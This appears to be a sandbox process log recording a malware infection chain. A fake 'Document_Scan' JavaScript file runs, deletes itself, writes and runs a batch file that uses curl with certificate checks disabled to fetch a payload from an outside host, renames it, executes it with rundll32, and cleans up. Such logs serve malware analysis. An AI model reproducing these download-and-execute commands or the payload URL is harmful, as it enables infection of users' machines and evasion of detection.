wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Document_Scan_231.js
3004cmd.exe "C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_231.js"
944cmd.exe "C:\Windows\System32\cmd.exe" /c echo curl https://avestainfratech.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\velit.bnam.w" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\velit.b.bat"
2224curl.exe curl https://avestainfratech.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\velit.bnam.w" --ssl-no-revoke --insecure --location
2436cmd.exe "C:\Windows\System32\cmd.exe" /c ren "C:\Users\test22\AppData\Local\Temp\velit.bnam.w" "velit.b"
1588rundll32.exe "C:\Windows\System32\rundll32.exe" "C:\Users\test22\AppData\Local\Temp\velit.b", scab /k arabika752
1164rundll32.exe "C:\Windows\System32\rundll32.exe" "C:\Users\test22\AppData\Local\Temp\velit.b", scab /k arabika752
1392cmd.exe "C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\velit.b.bat"
1704